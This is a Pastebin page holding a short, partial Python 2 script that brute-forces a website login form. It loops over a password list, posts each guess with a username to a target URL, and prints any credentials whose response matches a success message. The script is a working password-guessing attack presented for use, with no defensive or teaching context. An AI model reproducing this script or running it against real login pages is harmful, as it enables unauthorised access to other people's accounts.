Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- passwords = open('passwords.txt').readlines()
- print "Connecting to: "+url+"......\n"
- failed_aftertry = 0
- for password in passwords:
- dados = {userField: user.replace('\n', ''),
- passwordField: password.replace('\n', '')}
- data = requests.post(url, data=dados)
- if "404 - Not Found" in data.text:
- print "Connexion failed : 404 Not Found (Verify your link)"
- else:
- if incorrectMessage[0] in data.text or incorrectMessage[1] in data.text:
- print "Failed to connect with:\n user: "+user+" and password: "+password
- else:
- if successMessage[0] in data.text or successMessage[1] in data.text:
- print "\n#######################################"
- print "\n These Credentials succeed:\n> user: "+user+" and password: "+password
- print "#######################################"
- break
- else:
- print "Trying these parameters: user: "+user+" and password: "+password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement